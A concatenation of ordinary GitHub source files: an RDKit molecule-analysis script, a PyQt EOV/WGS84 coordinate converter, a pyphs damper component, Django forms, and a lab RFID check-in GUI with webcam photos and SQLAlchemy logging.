molecules.sdf\r\n\r\n#conda activate my-rdkit-env\r\nimport pandas as pd\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom collections import OrderedDict\r\n\r\nimport numpy as np\r\n\r\nimport os\r\n\r\nimport sys\r\n\r\nfrom rdkit import Chem\r\n\r\nfrom rdkit.Chem import Draw\r\n\r\nfrom rdkit.Chem import AllChem\r\n\r\nfrom rdkit.Chem import QED\r\n\r\nfrom rdkit.Chem import Descriptors\r\n\r\nimport umap\r\n\r\n\r\n\r\n\r\ndef U_map(smis,color):\r\n \r\n\r\n #fig, ax_array = plt.subplots(20, 20)\r\n #axes = ax_array.flatten()\r\n #for i, ax in enumerate(axes):\r\n #x.imshow(digits.images[i], cmap='gray_r')\r\n #plt.setp(axes, xticks=[], yticks=[], frame_on=False)\r\n #plt.tight_layout(h_pad=0.5, w_pad=0.01)\r\n #plt.show()\r\n\r\n mols=list(map(lambda x: Chem.MolFromSmiles(x), smis)) \r\n fingerprint=np.array(list(map(lambda x: AllChem.GetMorganFingerprintAsBitVect(x, 2, 2048), mols)))\r\n\r\n print(fingerprint.shape)\r\n reducer = umap.UMAP(random_state=42)\r\n embedding = reducer.fit_transform(fingerprint)\r\n #print(digits.data.shape)\r\n print(embedding.shape)\r\n print()\r\n\r\n plt.scatter(embedding[:, 0], embedding[:, 1], c=np.array(color), cmap='Spectral', s=5)\r\n plt.gca().set_aspect('equal', 'datalim')\r\n plt.colorbar(boundaries=np.arange(11)-0.5).set_ticks(np.arange(10))\r\n plt.title('UMAP projection of the Digits dataset')\r\n plt.show()\r\n\r\n\r\n\r\n\r\n\r\ndef converter(file_name,save_name):\r\n\r\n mols = [ mol for mol in Chem.SDMolSupplier( file_name ) ]\r\n\r\n outname = save_name + \".smi\"\r\n\r\n out_file = open( outname, \"w\" )\r\n\r\n for mol in mols:\r\n\r\n smi = Chem.MolToSmiles(mol)\r\n #print(smi)\r\n\r\n name = mol.GetProp(\"_Name\")\r\n\r\n out_file.write( \"{}\\t{}\\n\".format(smi, name ))\r\n\r\n m = Chem.MolFromSmiles(smi)\r\n\r\n m_qed = Chem.QED.qed(m)\r\n \r\n m_LogP = round(Descriptors.MolLogP(mol), 4)\r\n\r\n print(file_name,end = \" \")\r\n \r\n print(\"->\",m_qed,m_LogP) #Chem.QED.properties(m)\r\n\r\n Draw.MolToImageFile(m,save_name+\".png\",size=(300, 300))\r\n\r\n m = Chem.AddHs(m)\r\n\r\n AllChem.EmbedMolecule( m,randomSeed=3 )\r\n\r\n try :\r\n #AllChem.MMFFOptimizeMolecule(m)\r\n\r\n #Chem.MolToMolFile(m,file_name+\".mol\")\r\n\r\n #out_file.close()\r\n\r\n return smi,m_qed,m_LogP\r\n \r\n except ValueError:\r\n \r\n print(\"Rdkit not opt mol\")\r\n return 0\r\n \r\n\r\n\r\n\r\ndef build_creat_csv():\r\n folder = os.listdir(\"creat/\")\r\n count = 0\r\n #folder.sort(key = lambda x : int(x[:-9]))\r\n dir_order = {}\r\n \r\n smi_list = []\r\n m_qed_list = []\r\n m_LogP_list = []\r\n m_file_name_list = []\r\n \r\n \r\n \r\n for file_name in folder[:]:\r\n print(file_name)\r\n\r\n \r\n \r\n count+=1\r\n\r\n info = converter(\"creat/\"+file_name,\"picture/\"+file_name[:-4])\r\n if info !=0:\r\n smi,m_qed,m_LogP = info\r\n\r\n smi_list.append(smi)\r\n m_qed_list.append(m_qed)\r\n m_LogP_list.append(m_LogP )\r\n m_file_name_list.append(file_name)\r\n \r\n\r\n\r\n\r\n\r\n\r\n dir_order [\"Smi\"] = smi_list\r\n \r\n dir_order [\"LogP\"]=m_LogP_list\r\n \r\n dir_order [\"qed\"]= m_qed_list \r\n\r\n dir_order [\"Mol name\"] = m_file_name_list\r\n\r\n dataframe = pd.DataFrame(dir_order)\r\n \r\n dataframe.to_csv(\"creatMol.csv\")\r\n \r\n return dir_order \r\n\r\n \r\n\r\nif __name__==\"__main__\":\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n\r\n\r\n \r\n csv_data = pd.read_csv(\"250k_smiles.csv\")\r\n smi_train_list = list(csv_data[\"smiles\"][:80000])\r\n smi_train_list = [ smi[:-1] for smi in smi_train_list if \"+\" not in smi and \"-\" not in smi]\r\n color_train = [0 for x in smi_train_list]\r\n\r\n print(len(smi_train_list),len(color_train))\r\n\r\n\r\n \r\n dir_order = build_creat_csv()\r\n smi_list = dir_order [\"Smi\"]\r\n color = [1 for x in smi_list]\r\n print(len(smi_list ),len(color))\r\n\r\n print()\r\n\r\n\r\n \r\n smi_list_cat = smi_list#生成,标记为1\r\n smi_list_cat.extend(smi_train_list)\r\n\r\n\r\n \r\n color_cat = color\r\n color_cat.extend(color_train)\r\n\r\n\r\n\r\n print(smi_list_cat[:10], color_cat[:10])\r\n \r\n print(len(smi_list_cat),len(color_cat))\r\n U_map(smi_list_cat, color_cat ) \r\n \r\n\r\n \r\n\r\n \r\n\r\n","repo_name":"vvhanxing/EXCELs-process","sub_path":"find_ID_info_pandas_9.py","file_name":"find_ID_info_pandas_9.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7230042427","text":"\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMessageBox, QFileDialog\nfrom PyQt5.QtGui import QDesktopServices\nfrom PyQt5.QtCore import QUrl\nfrom pyproj import Transformer\nfrom PyQt5 import QtWebEngineWidgets\nimport sys\nimport io\nimport folium\n\n# coordinate transform\ntransformer_from_EOV = Transformer.from_crs(\"epsg:23700\", \"epsg:4326\")\ntransformer_from_KML = Transformer.from_crs(\"epsg:4326\", \"epsg:23700\")\n\n\n\nclass Ui_Dialog(object):\n \n #QtGui layout\n \n def setupUi(self, Dialog):\n super().__init__()\n\n \n\n # create message window\n self.message_box = QMessageBox()\n self.message_box.setIcon(QMessageBox.Critical)\n self.message_box.setWindowTitle(\"Error\")\n\n # create Folium Map \n coordinate = (47.504105491592426, 19.046773410517797)\n map = folium.Map(\n \ttiles = 'https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}',\n attr = 'Esri',\n name = 'Esri Satellite',\n \tzoom_start=13,\n \tlocation=coordinate\n ) \n\n map.add_child(folium.ClickForMarker())\n data = io.BytesIO()\n map.save(data, close_file=False)\n\n\n # create GUI \n Dialog.setObjectName(\"Dialog\")\n Dialog.setWhatsThis(\"Nézd meg a videót :)\")\n Dialog.resize(1600, 800)\n self.horizontalLayout_4 = QtWidgets.QHBoxLayout(Dialog)\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\n self.verticalLayout_6 = QtWidgets.QVBoxLayout()\n self.verticalLayout_6.setObjectName(\"verticalLayout_6\")\n self.groupBox = QtWidgets.QGroupBox(Dialog)\n font = QtGui.QFont()\n font.setPointSize(16)\n font.setBold(True)\n font.setWeight(75)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(\"groupBox\")\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.groupBox)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n self.verticalLayout_2 = QtWidgets.QVBoxLayout()\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n self.horizontalLayout_6 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_6.setObjectName(\"horizontalLayout_6\")\n self.label_2 = QtWidgets.QLabel(self.groupBox)\n self.label_2.setObjectName(\"label_2\")\n self.horizontalLayout_6.addWidget(self.label_2)\n self.eovy_input = QtWidgets.QLineEdit(self.groupBox)\n self.eovy_input.setObjectName(\"eovy_input\")\n self.eovy_input.setPlaceholderText(\"pl.: 650000\")\n self.horizontalLayout_6.addWidget(self.eovy_input)\n self.verticalLayout_2.addLayout(self.horizontalLayout_6)\n self.horizontalLayout_5 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\n self.label = QtWidgets.QLabel(self.groupBox)\n self.label.setObjectName(\"label\")\n self.horizontalLayout_5.addWidget(self.label)\n self.eovx_input = QtWidgets.QLineEdit(self.groupBox)\n self.eovx_input.setObjectName(\"eovx_input\")\n self.eovx_input.setPlaceholderText(\"pl.: 240000\")\n self.horizontalLayout_5.addWidget(self.eovx_input)\n self.verticalLayout_2.addLayout(self.horizontalLayout_5)\n self.horizontalLayout_9 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_9.setObjectName(\"horizontalLayout_9\")\n self.eovtowgs_button = QtWidgets.QPushButton(self.groupBox)\n self.eovtowgs_button.setObjectName(\"eovtowgs_button\")\n self.horizontalLayout_9.addWidget(self.eovtowgs_button)\n self.eovtowgs_button.clicked.connect(self.button_clicked_eovtowgsmap)\n self.eovtowgs_button_google = QtWidgets.QPushButton(self.groupBox)\n self.eovtowgs_button_google.setObjectName(\"eovtowgs_button_google\")\n self.horizontalLayout_9.addWidget(self.eovtowgs_button_google)\n self.verticalLayout_2.addLayout(self.horizontalLayout_9)\n self.eovtowgs_button_google.clicked.connect(self.button_clicked_eovtogoogle)\n self.eovtowgs_output = QtWidgets.QLineEdit(self.groupBox)\n self.eovtowgs_output.setObjectName(\"eovtowgs_output\")\n self.verticalLayout_2.addWidget(self.eovtowgs_output)\n self.horizontalLayout_2.addLayout(self.verticalLayout_2)\n self.verticalLayout_6.addWidget(self.groupBox) \n self.groupBox_2 = QtWidgets.QGroupBox(Dialog)\n font = QtGui.QFont()\n font.setPointSize(16)\n font.setBold(True)\n font.setWeight(75)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setObjectName(\"groupBox_2\")\n self.horizontalLayout_7 = QtWidgets.QHBoxLayout(self.groupBox_2)\n self.horizontalLayout_7.setObjectName(\"horizontalLayout_7\")\n self.verticalLayout_3 = QtWidgets.QVBoxLayout()\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\n self.horizontalLayout_8 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_8.setObjectName(\"horizontalLayout_8\")\n self.label_3 = QtWidgets.QLabel(self.groupBox_2)\n self.label_3.setObjectName(\"label_3\")\n self.horizontalLayout_8.addWidget(self.label_3)\n self.wgsinput = QtWidgets.QLineEdit(self.groupBox_2)\n self.wgsinput.setObjectName(\"wgsinput\")\n self.wgsinput.setPlaceholderText(\"pl.: 47.50393208, 19.0474447\")\n self.horizontalLayout_8.addWidget(self.wgsinput)\n self.verticalLayout_3.addLayout(self.horizontalLayout_8)\n self.wgstoeov_button = QtWidgets.QPushButton(self.groupBox_2)\n self.wgstoeov_button.setObjectName(\"wgstoeov_button\")\n self.wgstoeov_button.clicked.connect(self.button_simple_convert_to_eov)\n self.verticalLayout_3.addWidget(self.wgstoeov_button)\n self.wgstoeov_output = QtWidgets.QLineEdit(self.groupBox_2)\n self.wgstoeov_output.setObjectName(\"wgstoeov_output\")\n self.verticalLayout_3.addWidget(self.wgstoeov_output)\n self.horizontalLayout_7.addLayout(self.verticalLayout_3)\n self.verticalLayout_6.addWidget(self.groupBox_2)\n self.horizontalLayout_4.addLayout(self.verticalLayout_6)\n self.verticalLayout = QtWidgets.QVBoxLayout()\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.groupBox_3 = QtWidgets.QGroupBox(Dialog)\n font = QtGui.QFont()\n font.setPointSize(16)\n font.setBold(True)\n font.setWeight(75)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setObjectName(\"groupBox_3\")\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.groupBox_3)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.verticalLayout_5 = QtWidgets.QVBoxLayout()\n self.verticalLayout_5.setObjectName(\"verticalLayout_5\")\n self.widget = QtWebEngineWidgets.QWebEngineView(self.groupBox_3)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.widget.sizePolicy().hasHeightForWidth())\n self.widget.setSizePolicy(sizePolicy)\n self.widget.setHtml(data.getvalue().decode())\n self.widget.setObjectName(\"widget\")\n self.verticalLayout_5.addWidget(self.widget)\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n self.label_4 = QtWidgets.QLabel(self.groupBox_3)\n self.label_4.setObjectName(\"label_4\")\n self.horizontalLayout_3.addWidget(self.label_4)\n self.lineEdit_printscreen = QtWidgets.QLineEdit(self.groupBox_3)\n self.lineEdit_printscreen.setObjectName(\"lineEdit_printscreen\")\n self.horizontalLayout_3.addWidget(self.lineEdit_printscreen)\n self.verticalLayout_5.addLayout(self.horizontalLayout_3)\n self.pushButton = QtWidgets.QPushButton(self.groupBox_3)\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton.clicked.connect(self.click_handler)\n self.verticalLayout_5.addWidget(self.pushButton)\n self.horizontalLayout.addLayout(self.verticalLayout_5)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.horizontalLayout_4.addLayout(self.verticalLayout)\n self.retranslateUi(Dialog)\n QtCore.QMetaObject.connectSlotsByName(Dialog)\n\n # names \n \n def retranslateUi(self, Dialog):\n _translate = QtCore.QCoreApplication.translate\n Dialog.setWindowTitle(_translate(\"Dialog\", \"EOW-WGS\"))\n self.groupBox.setTitle(_translate(\"Dialog\", \"EOV-ból WGS\"))\n self.label_2.setText(_translate(\"Dialog\", \"EOVy:\"))\n self.label.setText(_translate(\"Dialog\", \"EOVx:\"))\n self.eovtowgs_button.setText(_translate(\"Dialog\", \"Mutasd a térképen\"))\n self.eovtowgs_button_google.setText(_translate(\"Dialog\", \"Mutasd Google map-on\"))\n self.groupBox_2.setTitle(_translate(\"Dialog\", \"WGS-ból EOV\"))\n self.label_3.setText(_translate(\"Dialog\", \"WGS from google:\"))\n self.wgstoeov_button.setText(_translate(\"Dialog\", \"WGS to EOV\"))\n self.groupBox_3.setTitle(_translate(\"Dialog\", \"\"))\n self.label_4.setText(_translate(\"Dialog\", \"Képernyőmentés neve:\"))\n self.pushButton.setText(_translate(\"Dialog\", \"Képernyőfotó\"))\n \n #push button func1\n def button_clicked_eovtowgsmap(self):\n \n if not self.eovy_input.text():\n self.message_box.setText(\"EOVy koordinátát ki kell tölteni\")\n self.message_box.show()\n return\n\n if \",\" in self.eovy_input.text():\n self.message_box.setText(\"tizedes pontot kell használni nem vesszőt\")\n self.message_box.show()\n return\n\n if not self.eovx_input.text():\n self.message_box.setText(\"EOVx koordinátát ki kell tölteni\")\n self.message_box.show()\n return\n\n if \",\" in self.eovx_input.text():\n self.message_box.setText(\"tizedes pontot kell használni nem vesszőt\")\n self.message_box.show()\n return\n \n input_data_y = float(f\"{self.eovy_input.text()}\")\n input_data_x = float(f\"{self.eovx_input.text()}\")\n coords=transformer_from_EOV.transform(input_data_y, input_data_x)\n\n wgs84y = coords[0]\n wgs84x = coords[1]\n \n swgs84y=str(wgs84y)\n swgs84x=str(wgs84x)\n eovcoord=str(coords)\n str_output_data = str(\"WGS84 coords: \" + eovcoord)\n # str_output_datax = str(\"WGS84 φ coords: \" + )\n \n wgsurl = f\"https://www.google.hu/maps/?q=loc:{wgs84y},{wgs84x}&t=k&hl=hu&z=100\"\n\n self.eovtowgs_output.setText(str_output_data)\n\n coordinate = (wgs84y, wgs84x)\n map = folium.Map(\n \ttiles = 'https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}',\n attr = 'Esri',\n name = 'Esri Satellite',\n \tzoom_start=13,\n \tlocation=coordinate\n ) \n eovyfloat=float(coords[0])\n eovyfinal='%.5f' %eovyfloat\n\n eovxfloat=float(coords[1])\n eovxfinal='%.5f' %eovxfloat\n\n tooltip = f\"{eovyfinal,eovxfinal}\"\n\n\n popup=f\"EOVY: {input_data_y}\\n\\tEOVX: {input_data_x}\"\n\n folium.Marker([wgs84y, wgs84x], popup=popup, tooltip=tooltip).add_to(map)\n # save map data to data object\n map.add_child(folium.ClickForMarker())\n \n \n data = io.BytesIO()\n map.save(data, close_file=False)\n \n self.widget.setHtml(data.getvalue().decode())\n\n #push button func2 \n\n def button_clicked_eovtogoogle(self):\n \n if not self.eovy_input.text():\n self.message_box.setText(\"EOVy koordinátát ki kell tölteni\")\n self.message_box.show()\n return\n\n if \",\" in self.eovy_input.text():\n self.message_box.setText(\"tizedes pontot kell használni nem vesszőt\")\n self.message_box.show()\n return\n\n if not self.eovx_input.text():\n self.message_box.setText(\"EOVx koordinátát ki kell tölteni\")\n self.message_box.show()\n return\n\n if \",\" in self.eovx_input.text():\n self.message_box.setText(\"tizedes pontot kell használni nem vesszőt\")\n self.message_box.show()\n return\n \n input_data_y = float(f\"{self.eovy_input.text()}\")\n input_data_x = float(f\"{self.eovx_input.text()}\")\n coords=transformer_from_EOV.transform(input_data_y, input_data_x)\n\n wgs84y = coords[0]\n wgs84x = coords[1]\n \n swgs84y=str(wgs84y)\n swgs84x=str(wgs84x)\n eovcoord=str(coords)\n str_output_data = str(\"WGS84 coords: \" + eovcoord)\n # str_output_datax = str(\"WGS84 φ coords: \" + )\n \n wgsurl = f\"https://www.google.hu/maps/?q=loc:{wgs84y},{wgs84x}&t=k&hl=hu&z=100\"\n\n self.eovtowgs_output.setText(str_output_data)\n\n QDesktopServices.openUrl(QUrl(wgsurl))\n \n #push button func3 \n \n def button_simple_convert_to_eov(self):\n if not self.wgsinput.text():\n self.message_box.setText(\"Koordinátákat ki kell tölteni\")\n self.message_box.show()\n return\n\n input_data = str(f\"{self.wgsinput.text()}\")\n output_data = input_data.replace(\" \",\"\").split(\",\")\n # eovyfloat=float(output_data[0])\n # eovyfinal='%.2f' %eovyfloat\n\n simple_eov_koords= str(f\"EOV COORDS: {transformer_from_KML.transform(output_data[0], output_data[1])}\")\n outputcoords=simple_eov_koords.replace(\"EOV COORDS: (\",\"\").replace(\" \",\"\").replace(\")\",\"\").split(\",\")\n eovyfloat=float(outputcoords[0])\n eovyfinal='%.2f' %eovyfloat\n # print(eovyfinal)\n eovxfloat=float(outputcoords[1])\n eovxfinal='%.2f' %eovxfloat\n finalcoords=(f\"EOV koordinátak Y,X: {eovyfinal},{eovxfinal} \")\n\n # wrote back to simple_eov_koords\n\n self.wgstoeov_output.setText(finalcoords)\n \n #push button func4\n\n def click_handler(self):\n widget = QApplication.instance().activeWindow().findChild(QWidget, \"widget\")\n # Take a screenshot of the widget\n pixmap = widget.grab()\n # Save the screenshot to a file\n input_printscreen = f\"{self.lineEdit_printscreen.text()}\"\n filename, _ = QFileDialog.getSaveFileName(widget, \"Képernyőfotó mentése\", f\"{input_printscreen}\", \"Png files (*.png)\")\n pixmap.save(filename, \"\")\n self.lineEdit_printscreen.clear()\n \n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n Dialog = QtWidgets.QDialog()\n ui = Ui_Dialog()\n ui.setupUi(Dialog)\n Dialog.setStyleSheet(\"\"\"\n border-style: ridge;\n border-width: 2px;\n border-radius: 10px;\n \"\"\")\n Dialog.show()\n sys.exit(app.exec_())\n","repo_name":"the3darchprint/EOV-WGS_converter","sub_path":"eov-wgs.py","file_name":"eov-wgs.py","file_ext":"py","file_size_in_byte":14988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34586013740","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 21 16:29:43 2016\n\n@author: Falaize\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\nfrom ..edges import DissipativeLinear\nfrom ..tools import componentDoc, parametersDefault\nfrom ..mechanics import metadata as dicmetadata\nfrom pyphs.misc.rst import equation\n\n\nclass Damper(DissipativeLinear):\n\n def __init__(self, label, nodes, **kwargs):\n parameters = parametersDefault(self.metadata['parameters'])\n parameters.update(kwargs)\n if parameters['A'] is None:\n coeff = 0.\n else:\n coeff = parameters['A']\n DissipativeLinear.__init__(self, label, nodes, coeff=coeff,\n inv_coeff=True)\n\n metadata = {'title': 'Linear Damper',\n 'component': 'Damper',\n 'label': 'damp',\n 'dico': 'mechanics',\n 'desc': r'Linear mechanical damping (i.e. opposing force proportional to the velocity). In Laplace domain with :math:`s\\in\\mathbb C`:' + equation(r'f(s) = A \\, e(s).'),\n 'nodesdesc': \"Mechanical points associated with the damper endpoints with positive flux N1->N2.\",\n 'nodes': ('P1', 'P2'),\n 'parametersdesc': 'Component parameter',\n 'parameters': [['A', \"Damping coefficient\", 'N.s/m', 1.]],\n 'refs': {},\n 'nnodes': 2,\n 'nedges': 1,\n 'flux': dicmetadata['flux'],\n 'effort': dicmetadata['effort'],\n }\n\n # Write documentation\n __doc__ = componentDoc(metadata)\n","repo_name":"pyphs/pyphs","sub_path":"pyphs/dictionary/mechanics/_damper.py","file_name":"_damper.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"21"} +{"seq_id":"70382528054","text":"from django import forms\nfrom .models import Location, Object, Sensor\n\n\nclass ObjectForm(forms.ModelForm):\n class Meta:\n model = Object\n fields = [\n \"location\",\n \"name\",\n \"description\",\n \"owner\",\n \"management_group\",\n \"maintenance_group\",\n ]\n\n def __init__(self, *args, **kwargs) -> None:\n self.request = kwargs.pop(\"request\")\n super().__init__(*args, **kwargs)\n\n # all groups for user\n groups = self.request.user.groups.values_list(\"pk\", flat=True)\n groups_as_list = list(groups)\n location_queryset = Location.objects.filter(\n owner=self.request.user\n ) | Location.objects.filter(management_group__in=groups_as_list)\n\n self.fields[\"location\"].queryset = location_queryset\n\n\nclass SensorForm(forms.ModelForm):\n class Meta:\n model = Sensor\n fields = [\n \"object\",\n \"name\",\n \"description\",\n \"image\",\n ]\n\n def __init__(self, *args, **kwargs) -> None:\n self.request = kwargs.pop(\"request\")\n super().__init__(*args, **kwargs)\n\n # all groups for user\n groups = self.request.user.groups.values_list(\"pk\", flat=True)\n groups_as_list = list(groups)\n object_queryset = Object.objects.filter(\n owner=self.request.user\n ) | Object.objects.filter(management_group__in=groups_as_list)\n\n self.fields[\"object\"].queryset = object_queryset\n","repo_name":"gldecurtins/objector","sub_path":"inventory/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13060819355","text":"#!/usr/bin/python3\nimport datetime\nimport logging\nimport os\nimport serial\nimport configparser\nimport time\nfrom tkinter import *\n\nimport PIL.Image\nimport PIL.ImageTk\nimport prox\nfrom threading import Lock, Thread\nfrom sshtunnel import SSHTunnelForwarder\nfrom sqlalchemy import Column, Integer, String, DateTime, ForeignKey, func\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nlog = logging.getLogger(__name__)\n# On the laptop, the Arduino enumerates as COM3\n# I've specified the baud rate to be max (115200)\n\nconfig = configparser.ConfigParser()\nif not config.read('config.cfg'):\n config.add_section('Serial')\n config.set('Serial', 'Baud', '115200')\n config.set('Serial', 'Port', '/dev/ttyACM0')\n\n config.add_section('Database')\n config.set('Database', 'ConnectionString', 'sqlite:///:memory:')\n\n config.add_section('SSH')\n config.set('SSH', 'Password', 'pass')\n config.set('SSH', 'Username', 'user')\n config.set('SSH', 'ServerPort', '3306')\n config.set('SSH', 'ClientPort', '3307')\n config.set('SSH', 'Address', '127.0.0.1')\n config.set('SSH', 'Enable', 'true')\n\n with open('config.cfg', 'w') as configfile:\n config.write(configfile)\n\n print('Please fill out config.cfg, then restart the program.')\n exit(1)\n\nser = serial.Serial(config.get('Serial', 'Port'),\n config.getint('Serial', 'Baud'))\n\nforwarder = SSHTunnelForwarder(\n config.get('SSH', 'Address'),\n ssh_username=config.get('SSH', 'Username'),\n ssh_password=config.get('SSH', 'Password'),\n remote_bind_address=('127.0.0.1', config.getint('SSH', 'ServerPort')),\n local_bind_address=('127.0.0.1', config.getint('SSH', 'ClientPort')),\n set_keepalive=5\n )\n\nif config.getboolean('SSH', 'Enable'):\n forwarder.start()\n print('[SSH] Opened SSH tunnel with %s:%d' % (forwarder.ssh_host, forwarder.ssh_port))\n\nengine = create_engine(\n config.get('Database', 'ConnectionString'),\n pool_recycle=3600,\n pool_size=5\n)\nBase = declarative_base()\n\n\nclass Member(Base):\n __tablename__ = 'members'\n\n mid = Column(String(length=40), primary_key=True)\n name = Column(String(length=100))\n # picture = Column(LargeBinary)\n\n\nclass CheckIn(Base):\n __tablename__ = 'checkin'\n\n id = Column(Integer, primary_key=True, autoincrement=True, nullable=False)\n mid = Column(String(length=40), ForeignKey(\"members.mid\"), nullable=False)\n timeIn = Column(DateTime)\n timeOut = Column(DateTime)\n\n\nBase.metadata.create_all(engine)\nSession = sessionmaker(bind=engine)\n\n\nclass PhotoEntry:\n def __init__(self, master, id_num):\n self.id_num = id_num\n\n self.frame = Frame(master)\n self.frame.pack()\n\n self.instructions = Label(self.frame,\n text=\"Enter your name in the box, then click 'Take Photo.' The shutter will release 5 seconds after you click that button.\")\n self.instructions.pack()\n\n self.name_box = Entry(self.frame)\n self.name_box.focus_set()\n self.name_box.pack(fill=X)\n\n self.name_button = Button(self.frame, text=\"Take Photo (5 second delay)\", command=self.grab_name)\n self.name_button.pack(fill=X)\n\n self.photo_button = Button(self.frame, text=\"Submit Photo\", state=DISABLED, command=self.submit)\n self.photo_button.pack(fill=X)\n\n master.bind(\"\", lambda x: (self.grab_name() if self.picture is None else self.submit()))\n\n self.picture = None\n self.img_string = \"\"\n\n def grab_name(self):\n self.name = self.name_box.get()\n\n os.system('mpv --length=5 /dev/video0')\n\n os.system('ffmpeg -f v4l2 -i /dev/video0 -video_size 1280x720 -vframes 1 images/%s.png -y' % str(self.id_num).replace(\"'\", ''))\n\n img = PIL.Image.open(\"images/%s.png\" % str(self.id_num).replace(\"'\", ''))\n photo = PIL.ImageTk.PhotoImage(img)\n if self.picture is not None:\n self.picture.destroy()\n self.picture = Label(self.frame, image=photo)\n self.picture.image = photo\n self.picture.pack()\n self.img_string = img.tobytes()\n self.photo_button.config(state=NORMAL)\n self.instructions.config(\n text=\"If you are happy with the photo, click 'Submit Photo', otherwise take a new photo\")\n\n def submit(self):\n if self.name is None or self.img_string is \"\":\n return\n\n session = Session()\n newMember = Member(mid=self.id_num, name=self.name)\n newLog = CheckIn(mid=self.id_num, timeIn=func.now(), timeOut=None)\n session.add_all([newMember, newLog])\n session.commit()\n session.close()\n self.frame.quit()\n\n\nclass Login:\n def __init__(self, master, id_num):\n session = Session()\n frame = Frame(master)\n frame.pack()\n\n member = session.query(Member).filter_by(mid=id_num).first()\n\n topline = \"%s\\n[%s]\" % (member.name, str(id_num))\n nameline = Label(frame, text=topline, bg=\"black\", fg=\"white\", font=\"Monospace 30\")\n nameline.pack(fill=X)\n\n lastLog = session.query(CheckIn).filter_by(mid=id_num).filter_by(timeOut=None)\n\n if lastLog.count() == 0:\n statusline = Label(frame, text=\"CHECKED IN\", bg=\"black\", fg=\"green\", font=\"Monospace 30\")\n statusline.pack(fill=X)\n newLog = CheckIn(mid=id_num, timeIn=func.now(), timeOut=None)\n session.add(newLog)\n\n else:\n lastLog = lastLog.first()\n statusline = Label(frame, text=\"CHECKED OUT\", bg=\"black\", fg=\"red\", font=\"Monospace 30\")\n statusline.pack(fill=X)\n lastLog.timeOut = func.now()\n\n if os.path.isfile(\"images/%s.png\" % str(id_num).replace(\"'\", '')):\n img = PIL.Image.open(\"images/%s.png\" % str(id_num).replace(\"'\", ''))\n photo = PIL.ImageTk.PhotoImage(img)\n picture = Label(frame, image=photo)\n picture.image = photo\n picture.pack()\n\n session.commit()\n session.close()\n\n\ndef display_login(id_num):\n root = Tk()\n gui = Login(root, id_num)\n root.after(5000, lambda: root.destroy())\n root.mainloop()\n\n\ndef run_entry(id_num):\n root = Tk()\n gui = PhotoEntry(root, id_num)\n root.mainloop()\n root.destroy()\n\n\ntimeoutCounter = 0\ntimeLock = Lock()\n\n\ndef run_loop():\n global timeoutCounter, timeLock\n id_num = ser.readline().strip()\n timeLock.acquire()\n timeoutCounter = 0\n timeLock.release()\n if len(id_num) != 35:\n # TODO: log misread\n log.error(\"Line missized: ignoring\")\n return\n if not prox.check_parity(id_num):\n # TODO: log parity failure\n log.error(\"Parity error: ignoring\")\n return\n\n session = Session()\n memberExists = session.query(Member).filter(Member.mid == id_num).count() > 0\n session.close()\n\n if memberExists:\n # If the user exists, toggle their in lab status and display that to them\n display_login(id_num)\n else:\n # If they don't exist, prompt them to add themselves\n # Field for name\n # Display webcam\n # On click (or something) take and display a picture to them\n # After they approve it, store it somewhere, and make a new record for them\n # Also, check them in\n run_entry(id_num)\n\n\n# automatically sign people out after 8h of no activity in the lab\ndef timeout():\n global timeoutCounter, timeLock\n time.sleep(1)\n timeLock.acquire()\n timeoutCounter += 1\n\n if timeoutCounter > 28800: # 8 hours\n session = Session()\n memberExists = session.update(CheckIn).where(CheckIn.timeOut is None).values(timeOut=func.now())\n session.close()\n timeoutCounter = 0\n\n timeLock.release()\n\n\nThread(target=timeout).start()\n\nwhile True:\n run_loop()\n","repo_name":"illinoistechrobotics/frontdoor","sub_path":"upstairs/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":7916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11379730577","text":"\"\"\"medicine order form added\n\nRevision ID: 06e0eb2e4d40\nRevises: f837e6fef6fe\nCreate Date: 2022-06-13 